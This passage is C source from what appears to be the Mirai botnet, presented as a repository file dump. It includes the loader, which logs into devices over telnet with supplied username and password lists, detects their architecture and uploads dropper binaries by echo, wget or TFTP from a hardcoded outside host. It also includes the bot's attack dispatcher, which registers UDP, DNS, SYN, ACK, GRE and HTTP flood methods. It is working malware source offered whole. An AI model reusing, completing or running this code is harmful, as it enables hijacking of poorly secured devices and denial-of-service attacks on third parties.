| strtok(file_name, "."); 36 | strcpy(bin->arch, strtok(NULL, ".")); 37 | load(bin, pglob.gl_pathv[i]); 38 | } 39 | 40 | globfree(&pglob); 41 | return TRUE; 42 | } 43 | 44 | struct binary *binary_get_by_arch(char *arch) 45 | { 46 | int i; 47 | 48 | for (i = 0; i < bin_list_len; i++) 49 | { 50 | if (strcmp(arch, bin_list[i]->arch) == 0) 51 | return bin_list[i]; 52 | } 53 | 54 | return NULL; 55 | } 56 | 57 | static BOOL load(struct binary *bin, char *fname) 58 | { 59 | FILE *file; 60 | char rdbuf[BINARY_BYTES_PER_ECHOLINE]; 61 | int n; 62 | 63 | if ((file = fopen(fname, "r")) == NULL) 64 | { 65 | printf("Failed to open %s for parsing\n", fname); 66 | return FALSE; 67 | } 68 | 69 | while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0) 70 | { 71 | char *ptr; 72 | int i; 73 | 74 | bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *)); 75 | bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8); 76 | ptr = bin->hex_payloads[bin->hex_payloads_len++]; 77 | 78 | for (i = 0; i < n; i++) 79 | ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]); 80 | } 81 | 82 | return FALSE; 83 | } 84 | -------------------------------------------------------------------------------- /loader/src/headers/binary.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "includes.h" 4 | 5 | #define BINARY_BYTES_PER_ECHOLINE 128 6 | 7 | struct binary { 8 | char arch[6]; 9 | int hex_payloads_len; 10 | char **hex_payloads; 11 | }; 12 | 13 | BOOL binary_init(void); 14 | struct binary *binary_get_by_arch(char *arch); 15 | 16 | static BOOL load(struct binary *bin, char *fname); 17 | -------------------------------------------------------------------------------- /loader/src/headers/connection.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include "includes.h" 6 | #include "telnet_info.h" 7 | 8 | struct connection { 9 | pthread_mutex_t lock; 10 | struct server *srv; 11 | struct binary *bin; 12 | struct telnet_info info; 13 | int fd, echo_load_pos; 14 | time_t last_recv; 15 | enum { 16 | TELNET_CLOSED, // 0 17 | TELNET_CONNECTING, // 1 18 | TELNET_READ_IACS, // 2 19 | TELNET_USER_PROMPT, // 3 20 | TELNET_PASS_PROMPT, // 4 21 | TELNET_WAITPASS_PROMPT, // 5 22 | TELNET_CHECK_LOGIN, // 6 23 | TELNET_VERIFY_LOGIN, // 7 24 | TELNET_PARSE_PS, // 8 25 | TELNET_PARSE_MOUNTS, // 9 26 | TELNET_READ_WRITEABLE, // 10 27 | TELNET_COPY_ECHO, // 11 28 | TELNET_DETECT_ARCH, // 12 29 | TELNET_ARM_SUBTYPE, // 13 30 | TELNET_UPLOAD_METHODS, // 14 31 | TELNET_UPLOAD_ECHO, // 15 32 | TELNET_UPLOAD_WGET, // 16 33 | TELNET_UPLOAD_TFTP, // 17 34 | TELNET_RUN_BINARY, // 18 35 | TELNET_CLEANUP // 19 36 | } state_telnet; 37 | struct { 38 | char data[512]; 39 | int deadline; 40 | } output_buffer; 41 | uint16_t rdbuf_pos, timeout; 42 | BOOL open, success, retry_bin, ctrlc_retry; 43 | uint8_t rdbuf[8192]; 44 | }; 45 | 46 | void connection_open(struct connection *conn); 47 | void connection_close(struct connection *conn); 48 | 49 | int connection_consume_iacs(struct connection *conn); 50 | int connection_consume_login_prompt(struct connection *conn); 51 | int connection_consume_password_prompt(struct connection *conn); 52 | int connection_consume_prompt(struct connection *conn); 53 | int connection_consume_verify_login(struct connection *conn); 54 | int connection_consume_psoutput(struct connection *conn); 55 | int connection_consume_mounts(struct connection *conn); 56 | int connection_consume_written_dirs(struct connection *conn); 57 | int connection_consume_copy_op(struct connection *conn); 58 | int connection_consume_arch(struct connection *conn); 59 | int connection_consume_arm_subtype(struct connection *conn); 60 | int connection_consume_upload_methods(struct connection *conn); 61 | int connection_upload_echo(struct connection *conn); 62 | int connection_upload_wget(struct connection *conn); 63 | int connection_upload_tftp(struct connection *conn); 64 | int connection_verify_payload(struct connection *conn); 65 | int connection_consume_cleanup(struct connection *conn); 66 | 67 | static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount); 68 | -------------------------------------------------------------------------------- /loader/src/headers/includes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define STDIN 0 6 | #define STDOUT 1 7 | #define STDERR 2 8 | 9 | #define FALSE 0 10 | #define TRUE 1 11 | typedef char BOOL; 12 | 13 | typedef uint32_t ipv4_t; 14 | typedef uint16_t port_t; 15 | 16 | #define LOADER_LITTLE_ENDIAN 17 | 18 | #define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i) 19 | #define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i) 20 | #define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1) 21 | #define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1) 22 | #define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0) 23 | 24 | #define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69" 25 | #define VERIFY_STRING_CHECK "kami" 26 | 27 | #define TOKEN_QUERY "/bin/busybox ECCHI" 28 | #define TOKEN_RESPONSE "ECCHI: applet not found" 29 | 30 | #define EXEC_QUERY "/bin/busybox IHCCE" 31 | #define EXEC_RESPONSE "IHCCE: applet not found" 32 | 33 | #define FN_DROPPER "upnp" 34 | #define FN_BINARY "dvrHelper" 35 | 36 | extern char *id_tag; 37 | -------------------------------------------------------------------------------- /loader/src/headers/server.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "includes.h" 5 | #include "telnet_info.h" 6 | #include "connection.h" 7 | 8 | struct server { 9 | uint32_t max_open; 10 | volatile uint32_t curr_open; 11 | volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures; 12 | char *wget_host_ip, *tftp_host_ip; 13 | struct server_worker *workers; 14 | struct connection **estab_conns; 15 | ipv4_t *bind_addrs; 16 | pthread_t to_thrd; 17 | port_t wget_host_port; 18 | uint8_t workers_len, bind_addrs_len; 19 | int curr_worker_child; 20 | }; 21 | 22 | struct server_worker { 23 | struct server *srv; 24 | int efd; // We create a separate epoll context per thread so thread safety isn't our problem 25 | pthread_t thread; 26 | uint8_t thread_id; 27 | }; 28 | 29 | struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip); 30 | void server_destroy(struct server *srv); 31 | void server_queue_telnet(struct server *srv, struct telnet_info *info); 32 | void server_telnet_probe(struct server *srv, struct telnet_info *info); 33 | 34 | static void bind_core(int core); 35 | static void *worker(void *arg); 36 | static void handle_output_buffers(struct server_worker *); 37 | static void handle_event(struct server_worker *wrker, struct epoll_event *ev); 38 | static void *timeout_thread(void *); 39 | -------------------------------------------------------------------------------- /loader/src/headers/telnet_info.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "includes.h" 4 | 5 | struct telnet_info { 6 | char user[32], pass[32], arch[6], writedir[32]; 7 | ipv4_t addr; 8 | port_t port; 9 | enum { 10 | UPLOAD_ECHO, 11 | UPLOAD_WGET, 12 | UPLOAD_TFTP 13 | } upload_method; 14 | BOOL has_auth, has_arch; 15 | }; 16 | 17 | struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info); 18 | struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out); 19 | -------------------------------------------------------------------------------- /loader/src/headers/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "server.h" 4 | #include "includes.h" 5 | 6 | #define BUFFER_SIZE 4096 7 | 8 | #define EI_NIDENT 16 // Side of e_ident in elf header 9 | #define EI_DATA 5 // Offset endianness in e_ident 10 | 11 | #define EE_NONE 0 // No endianness ???? 12 | #define EE_LITTLE 1 // Little endian 13 | #define EE_BIG 2 // Big endian 14 | 15 | #define ET_NOFILE 0 // None 16 | #define ET_REL 1 // Relocatable file 17 | #define ET_EXEC 2 // Executable file 18 | #define ET_DYN 3 // Shared object file 19 | #define ET_CORE 4 // Core file 20 | 21 | /* These constants define the various ELF target machines */ 22 | #define EM_NONE 0 23 | #define EM_M32 1 24 | #define EM_SPARC 2 25 | #define EM_386 3 26 | #define EM_68K 4 // m68k 27 | #define EM_88K 5 // m68k 28 | #define EM_486 6 // x86 29 | #define EM_860 7 // Unknown 30 | #define EM_MIPS 8 /* MIPS R3000 (officially, big-endian only) */ 31 | /* Next two are historical and binaries and 32 | modules of these types will be rejected by 33 | Linux. */ 34 | #define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */ 35 | #define EM_MIPS_RS4_BE 10 /* MIPS R4000 big-endian */ 36 | 37 | #define EM_PARISC 15 /* HPPA */ 38 | #define EM_SPARC32PLUS 18 /* Sun's "v8plus" */ 39 | #define EM_PPC 20 /* PowerPC */ 40 | #define EM_PPC64 21 /* PowerPC64 */ 41 | #define EM_SPU 23 /* Cell BE SPU */ 42 | #define EM_ARM 40 /* ARM 32 bit */ 43 | #define EM_SH 42 /* SuperH */ 44 | #define EM_SPARCV9 43 /* SPARC v9 64-bit */ 45 | #define EM_H8_300 46 /* Renesas H8/300 */ 46 | #define EM_IA_64 50 /* HP/Intel IA-64 */ 47 | #define EM_X86_64 62 /* AMD x86-64 */ 48 | #define EM_S390 22 /* IBM S/390 */ 49 | #define EM_CRIS 76 /* Axis Communications 32-bit embedded processor */ 50 | #define EM_M32R 88 /* Renesas M32R */ 51 | #define EM_MN10300 89 /* Panasonic/MEI MN10300, AM33 */ 52 | #define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */ 53 | #define EM_BLACKFIN 106 /* ADI Blackfin Processor */ 54 | #define EM_ALTERA_NIOS2 113 /* Altera Nios II soft-core processor */ 55 | #define EM_TI_C6000 140 /* TI C6X DSPs */ 56 | #define EM_AARCH64 183 /* ARM 64 bit */ 57 | #define EM_TILEPRO 188 /* Tilera TILEPro */ 58 | #define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */ 59 | #define EM_TILEGX 191 /* Tilera TILE-Gx */ 60 | #define EM_FRV 0x5441 /* Fujitsu FR-V */ 61 | #define EM_AVR32 0x18ad /* Atmel AVR32 */ 62 | 63 | struct elf_hdr { 64 | uint8_t e_ident[EI_NIDENT]; 65 | uint16_t e_type, e_machine; 66 | uint32_t e_version; 67 | } __attribute__((packed)); 68 | 69 | int util_socket_and_bind(struct server *srv); 70 | int util_memsearch(char *buf, int buf_len, char *mem, int mem_len); 71 | BOOL util_sockprintf(int fd, const char *fmt, ...); 72 | char *util_trim(char *str); 73 | -------------------------------------------------------------------------------- /loader/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "headers/includes.h" 10 | #include "headers/server.h" 11 | #include "headers/telnet_info.h" 12 | #include "headers/binary.h" 13 | #include "headers/util.h" 14 | 15 | static void *stats_thread(void *); 16 | 17 | static struct server *srv; 18 | 19 | char *id_tag = "telnet"; 20 | 21 | int main(int argc, char **args) 22 | { 23 | pthread_t stats_thrd; 24 | uint8_t addrs_len; 25 | ipv4_t *addrs; 26 | uint32_t total = 0; 27 | struct telnet_info info; 28 | 29 | #ifdef DEBUG 30 | addrs_len = 1; 31 | addrs = calloc(4, sizeof (ipv4_t)); 32 | addrs[0] = inet_addr("0.0.0.0"); 33 | #else 34 | addrs_len = 2; 35 | addrs = calloc(addrs_len, sizeof (ipv4_t)); 36 | 37 | addrs[0] = inet_addr("192.168.0.1"); // Address to bind to 38 | addrs[1] = inet_addr("192.168.1.1"); // Address to bind to 39 | #endif 40 | 41 | if (argc == 2) 42 | { 43 | id_tag = args[1]; 44 | } 45 | 46 | if (!binary_init()) 47 | { 48 | printf("Failed to load bins/dlr.* as dropper\n"); 49 | return 1; 50 | } 51 | 52 | /* wget address tftp address */ 53 | if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) 54 | { 55 | printf("Failed to initialize server. Aborting\n"); 56 | return 1; 57 | } 58 | 59 | pthread_create(&stats_thrd, NULL, stats_thread, NULL); 60 | 61 | // Read from stdin 62 | while (TRUE) 63 | { 64 | char strbuf[1024]; 65 | 66 | if (fgets(strbuf, sizeof (strbuf), stdin) == NULL) 67 | break; 68 | 69 | util_trim(strbuf); 70 | 71 | if (strlen(strbuf) == 0) 72 | { 73 | usleep(10000); 74 | continue; 75 | } 76 | 77 | memset(&info, 0, sizeof(struct telnet_info)); 78 | if (telnet_info_parse(strbuf, &info) == NULL) 79 | printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf); 80 | else 81 | { 82 | if (srv == NULL) 83 | printf("srv == NULL 2\n"); 84 | 85 | server_queue_telnet(srv, &info); 86 | if (total++ % 1000 == 0) 87 | sleep(1); 88 | } 89 | 90 | ATOMIC_INC(&srv->total_input); 91 | } 92 | 93 | printf("Hit end of input.\n"); 94 | 95 | while(ATOMIC_GET(&srv->curr_open) > 0) 96 | sleep(1); 97 | 98 | return 0; 99 | } 100 | 101 | static void *stats_thread(void *arg) 102 | { 103 | uint32_t seconds = 0; 104 | 105 | while (TRUE) 106 | { 107 | #ifndef DEBUG 108 | printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n", 109 | seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes), 110 | ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps)); 111 | #endif 112 | fflush(stdout); 113 | sleep(1); 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /loader/src/telnet_info.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "headers/includes.h" 6 | #include "headers/telnet_info.h" 7 | 8 | struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info) 9 | { 10 | if (user != NULL) 11 | strcpy(info->user, user); 12 | if (pass != NULL) 13 | strcpy(info->pass, pass); 14 | if (arch != NULL) 15 | strcpy(info->arch, arch); 16 | info->addr = addr; 17 | info->port = port; 18 | 19 | info->has_auth = user != NULL || pass != NULL; 20 | info->has_arch = arch != NULL; 21 | 22 | return info; 23 | } 24 | 25 | struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch 26 | { 27 | char *conn, *auth, *arch; 28 | char *addr_str, *port_str, *user = NULL, *pass = NULL; 29 | ipv4_t addr; 30 | port_t port; 31 | 32 | if ((conn = strtok(str, " ")) == NULL) 33 | return NULL; 34 | if ((auth = strtok(NULL, " ")) == NULL) 35 | return NULL; 36 | arch = strtok(NULL, " "); // We don't care if we don't know the arch 37 | 38 | if ((addr_str = strtok(conn, ":")) == NULL) 39 | return NULL; 40 | if ((port_str = strtok(NULL, ":")) == NULL) 41 | return NULL; 42 | 43 | if (strlen(auth) == 1) 44 | { 45 | if (auth[0] == ':') 46 | { 47 | user = ""; 48 | pass = ""; 49 | } 50 | else if (auth[0] != '?') 51 | return NULL; 52 | } 53 | else 54 | { 55 | user = strtok(auth, ":"); 56 | pass = strtok(NULL, ":"); 57 | } 58 | 59 | addr = inet_addr(addr_str); 60 | port = htons(atoi(port_str)); 61 | 62 | return telnet_info_new(user, pass, arch, addr, port, out); 63 | } 64 | -------------------------------------------------------------------------------- /loader/src/util.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "headers/includes.h" 9 | #include "headers/util.h" 10 | #include "headers/server.h" 11 | 12 | void hexDump (char *desc, void *addr, int len) { 13 | int i; 14 | unsigned char buff[17]; 15 | unsigned char *pc = (unsigned char*)addr; 16 | 17 | // Output description if given. 18 | if (desc != NULL) 19 | printf ("%s:\n", desc); 20 | 21 | if (len == 0) { 22 | printf(" ZERO LENGTH\n"); 23 | return; 24 | } 25 | if (len < 0) { 26 | printf(" NEGATIVE LENGTH: %i\n",len); 27 | return; 28 | } 29 | 30 | // Process every byte in the data. 31 | for (i = 0; i < len; i++) { 32 | // Multiple of 16 means new line (with line offset). 33 | 34 | if ((i % 16) == 0) { 35 | // Just don't print ASCII for the zeroth line. 36 | if (i != 0) 37 | printf (" %s\n", buff); 38 | 39 | // Output the offset. 40 | printf (" %04x ", i); 41 | } 42 | 43 | // Now the hex code for the specific character. 44 | printf (" %02x", pc[i]); 45 | 46 | // And store a printable ASCII character for later. 47 | if ((pc[i] < 0x20) || (pc[i] > 0x7e)) 48 | buff[i % 16] = '.'; 49 | else 50 | buff[i % 16] = pc[i]; 51 | buff[(i % 16) + 1] = '\0'; 52 | } 53 | 54 | // Pad out last line if not exactly 16 characters. 55 | while ((i % 16) != 0) { 56 | printf (" "); 57 | i++; 58 | } 59 | 60 | // And print the final ASCII bit. 61 | printf (" %s\n", buff); 62 | } 63 | 64 | int util_socket_and_bind(struct server *srv) 65 | { 66 | struct sockaddr_in bind_addr; 67 | int i, fd, start_addr; 68 | BOOL bound = FALSE; 69 | 70 | if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) 71 | return -1; 72 | 73 | bind_addr.sin_family = AF_INET; 74 | bind_addr.sin_port = 0; 75 | 76 | // Try to bind on the first available address 77 | start_addr = rand() % srv->bind_addrs_len; 78 | for (i = 0; i < srv->bind_addrs_len; i++) 79 | { 80 | bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr]; 81 | if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1) 82 | { 83 | if (++start_addr == srv->bind_addrs_len) 84 | start_addr = 0; 85 | } 86 | else 87 | { 88 | bound = TRUE; 89 | break; 90 | } 91 | } 92 | if (!bound) 93 | { 94 | close(fd); 95 | #ifdef DEBUG 96 | printf("Failed to bind on any address\n"); 97 | #endif 98 | return -1; 99 | } 100 | 101 | // Set the socket in nonblocking mode 102 | if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1) 103 | { 104 | #ifdef DEBUG 105 | printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n"); 106 | #endif 107 | } 108 | return fd; 109 | } 110 | 111 | int util_memsearch(char *buf, int buf_len, char *mem, int mem_len) 112 | { 113 | int i, matched = 0; 114 | 115 | if (mem_len > buf_len) 116 | return -1; 117 | 118 | for (i = 0; i < buf_len; i++) 119 | { 120 | if (buf[i] == mem[matched]) 121 | { 122 | if (++matched == mem_len) 123 | return i + 1; 124 | } 125 | else 126 | matched = 0; 127 | } 128 | 129 | return -1; 130 | } 131 | 132 | BOOL util_sockprintf(int fd, const char *fmt, ...) 133 | { 134 | char buffer[BUFFER_SIZE + 2]; 135 | va_list args; 136 | int len; 137 | 138 | va_start(args, fmt); 139 | len = vsnprintf(buffer, BUFFER_SIZE, fmt, args); 140 | va_end(args); 141 | 142 | if (len > 0) 143 | { 144 | if (len > BUFFER_SIZE) 145 | len = BUFFER_SIZE; 146 | 147 | #ifdef DEBUG 148 | hexDump("TELOUT", buffer, len); 149 | #endif 150 | if (send(fd, buffer, len, MSG_NOSIGNAL) != len) 151 | return FALSE; 152 | } 153 | 154 | return TRUE; 155 | } 156 | 157 | char *util_trim(char *str) 158 | { 159 | char *end; 160 | 161 | while(isspace(*str)) 162 | str++; 163 | 164 | if(*str == 0) 165 | return str; 166 | 167 | end = str + strlen(str) - 1; 168 | while(end > str && isspace(*end)) 169 | end--; 170 | 171 | *(end+1) = 0; 172 | 173 | return str; 174 | } 175 | -------------------------------------------------------------------------------- /mirai/bot/attack.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #ifdef DEBUG 4 | #include 5 | #endif 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "includes.h" 12 | #include "attack.h" 13 | #include "rand.h" 14 | #include "util.h" 15 | #include "scanner.h" 16 | 17 | 18 | uint8_t methods_len = 0; 19 | struct attack_method **methods = NULL; 20 | int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0}; 21 | 22 | BOOL attack_init(void) 23 | { 24 | int i; 25 | 26 | add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); 27 | add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); 28 | add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); 29 | add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain); 30 | 31 | add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); 32 | add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); 33 | add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp); 34 | 35 | add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); 36 | add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth); 37 | 38 | //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy); 39 | add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http); 40 | 41 | return TRUE; 42 | } 43 | 44 | void attack_kill_all(void) 45 | { 46 | int i; 47 | 48 | #ifdef DEBUG 49 | printf("[attack] Killing all ongoing attacks\n"); 50 | #endif 51 | 52 | for (i = 0; i < ATTACK_CONCURRENT_MAX; i++) 53 | { 54 | if (attack_ongoing[i] != 0) 55 | kill(attack_ongoing[i], 9); 56 | attack_ongoing[i] = 0; 57 | } 58 | 59 | #ifdef MIRAI_TELNET 60 | scanner_init(); 61 | #endif 62 | } 63 | 64 | void attack_parse(char *buf, int len) 65 | { 66 | int i; 67 | uint32_t duration; 68 | ATTACK_VECTOR vector; 69 | uint8_t targs_len, opts_len; 70 | struct attack_target *targs = NULL; 71 | struct attack_option *opts = NULL; 72 | 73 | // Read in attack duration uint32_t 74 | if (len < sizeof (uint32_t)) 75 | goto cleanup; 76 | duration = ntohl(*((uint32_t *)buf)); 77 | buf += sizeof (uint32_t); 78 | len -= sizeof (uint32_t); 79 | 80 | // Read in attack ID uint8_t 81 | if (len == 0) 82 | goto cleanup; 83 | vector = (ATTACK_VECTOR)*buf++; 84 | len -= sizeof (uint8_t); 85 | 86 | // Read in target count uint8_t 87 | if (len == 0) 88 | goto cleanup; 89 | targs_len = (uint8_t)*buf++; 90 | len -= sizeof (uint8_t); 91 | if (targs_len == 0) 92 | goto cleanup; 93 | 94 | // Read in all targs 95 | if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len)) 96 | goto cleanup; 97 | targs = calloc(targs_len, sizeof (struct attack_target)); 98 | for (i = 0; i < targs_len; i++) 99 | { 100 | targs[i].addr = *((ipv4_t *)buf); 101 | buf += sizeof (ipv4_t); 102 | targs[i].netmask = (uint8_t)*buf++; 103 | len -= (sizeof (ipv4_t) + sizeof (uint8_t)); 104 | 105 | targs[i].sock_addr.sin_family = AF_INET; 106 | targs[i].sock_addr.sin_addr.s_addr = targs[i].addr; 107 | } 108 | 109 | // Read in flag count uint8_t 110 | if (len < sizeof (uint8_t)) 111 | goto cleanup; 112 | opts_len = (uint8_t)*buf++; 113 | len -= sizeof (uint8_t); 114 | 115 | // Read in all opts 116 | if (opts_len > 0) 117 | { 118 | opts = calloc(opts_len, sizeof (struct attack_option)); 119 | for (i = 0; i < opts_len; i++) 120 | { 121 | uint8_t val_len; 122 | 123 | // Read in key uint8 124 | if (len < sizeof (uint8_t)) 125 | goto cleanup; 126 | opts[i].key = (uint8_t)*buf++; 127 | len -= sizeof (uint8_t); 128 | 129 | // Read in data length uint8 130 | if (len < sizeof (uint8_t)) 131 | goto cleanup; 132 | val_len = (uint8_t)*buf++; 133 | len -= sizeof (uint8_t); 134 | 135 | if (len < val_len) 136 | goto cleanup; 137 | opts[i].val = calloc(val_len + 1, sizeof (char)); 138 | util_memcpy(opts[i].val, buf, val_len); 139 | buf += val_len; 140 | len -= val_len; 141 | } 142 | } 143 | 144 | errno = 0; 145 | attack_start(duration, vector, targs_len, targs, opts_len, opts); 146 | 147 | // Cleanup 148 | cleanup: 149 | if (targs != NULL) 150 | free(targs); 151 | if (opts != NULL) 152 | free_opts(opts, opts_len); 153 | } 154 | 155 | void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) 156 | { 157 | int pid1, pid2; 158 | 159 | pid1 = fork(); 160 | if (pid1 == -1 || pid1 > 0) 161 | return; 162 | 163 | pid2 = fork(); 164 | if (pid2 == -1) 165 | exit(0); 166 | else if (pid2 == 0) 167 | { 168 | sleep(duration); 169 | kill(getppid(), 9); 170 | exit(0); 171 | } 172 | else 173 | { 174 | int i; 175 | 176 | for (i = 0; i < methods_len; i++) 177 | { 178 | if (methods[i]->vector == vector) 179 | { 180 | #ifdef DEBUG 181 | printf("[attack] Starting attack...\n"); 182 | #endif 183 | methods[i]->func(targs_len, targs, opts_len, opts); 184 | break; 185 | } 186 | } 187 | 188 | //just bail if the function returns 189 | exit(0); 190 | } 191 | } 192 | 193 | char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def) 194 | { 195 | int i; 196 | 197 | for (i = 0; i < opts_len; i++) 198 | { 199 | if (opts[i].key == opt) 200 | return opts[i].val; 201 | } 202 | 203 | return def; 204 | } 205 | 206 | int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def) 207 | { 208 | char *val = attack_get_opt_str(opts_len, opts, opt, NULL); 209 | 210 | if (val == NULL) 211 | return def; 212 | else 213 | return util_atoi(val, 10); 214 | } 215 | 216 | uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def) 217 | { 218 | char *val = attack_get_opt_str(opts_len, opts, opt, NULL); 219 | 220 | if (val == NULL) 221 | return def; 222 | else 223 | return inet_addr(val); 224 | } 225 | 226 | static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func) 227 | { 228 | struct attack_method *method = calloc(1, sizeof (struct attack_method)); 229 | 230 | method->vector = vector; 231 | method->func = func; 232 | 233 | methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *)); 234 | methods[methods_len++] = method; 235 | } 236 | 237 | static void free_opts(struct attack_option *opts, int len) 238 | { 239 | int i; 240 | 241 | if (opts == NULL) 242 | return; 243 | 244 | for (i = 0; i < len; i++) 245 | { 246 | if (opts[i].val != NULL) 247 | free(opts[i].val); 248 | } 249 | free(opts); 250 | } 251 | -------------------------------------------------------------------------------- /mirai/bot/attack.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "includes.h" 10 | #include "protocol.h" 11 | 12 | #define ATTACK_CONCURRENT_MAX 8 13 | 14 | #ifdef DEBUG 15 | #define HTTP_CONNECTION_MAX 1000 16 | #else 17 | #define HTTP_CONNECTION_MAX 256 18 | #endif 19 | 20 | struct attack_target { 21 | struct sockaddr_in sock_addr; 22 | ipv4_t addr; 23 | uint8_t netmask; 24 | }; 25 | 26 | struct attack_option { 27 | char *val; 28 | uint8_t key; 29 | }; 30 | 31 | typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *); 32 | typedef uint8_t ATTACK_VECTOR; 33 | 34 | #define ATK_VEC_UDP 0 /* Straight up UDP flood */ 35 | #define ATK_VEC_VSE 1 /* Valve Source Engine query flood */ 36 | #define ATK_VEC_DNS 2 /* DNS water torture */ 37 | #define ATK_VEC_SYN 3 /* SYN flood with options */ 38 | #define ATK_VEC_ACK 4 /* ACK flood */ 39 | #define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */ 40 | #define ATK_VEC_GREIP 6 /* GRE IP flood */ 41 | #define ATK_VEC_GREETH 7 /* GRE Ethernet flood */ 42 | //#define ATK_VEC_PROXY 8 /* Proxy knockback connection */ 43 | #define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */ 44 | #define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */ 45 | 46 | #define ATK_OPT_PAYLOAD_SIZE 0 // What should the size of the packet data be? 47 | #define ATK_OPT_PAYLOAD_RAND 1 // Should we randomize the packet data contents? 48 | #define ATK_OPT_IP_TOS 2 // tos field in IP header 49 | #define ATK_OPT_IP_IDENT 3 // ident field in IP header 50 | #define ATK_OPT_IP_TTL 4 // ttl field in IP header 51 | #define ATK_OPT_IP_DF 5 // Dont-Fragment bit set 52 | #define ATK_OPT_SPORT 6 // Should we force a source port? (0 = random) 53 | #define ATK_OPT_DPORT 7 // Should we force a dest port? (0 = random) 54 | #define ATK_OPT_DOMAIN 8 // Domain name for DNS attack 55 | #define ATK_OPT_DNS_HDR_ID 9 // Domain name header ID 56 | //#define ATK_OPT_TCPCC 10 // TCP congestion control 57 | #define ATK_OPT_URG 11 // TCP URG header flag 58 | #define ATK_OPT_ACK 12 // TCP ACK header flag 59 | #define ATK_OPT_PSH 13 // TCP PSH header flag 60 | #define ATK_OPT_RST 14 // TCP RST header flag 61 | #define ATK_OPT_SYN 15 // TCP SYN header flag 62 | #define ATK_OPT_FIN 16 // TCP FIN header flag 63 | #define ATK_OPT_SEQRND 17 // Should we force the sequence number? (TCP only) 64 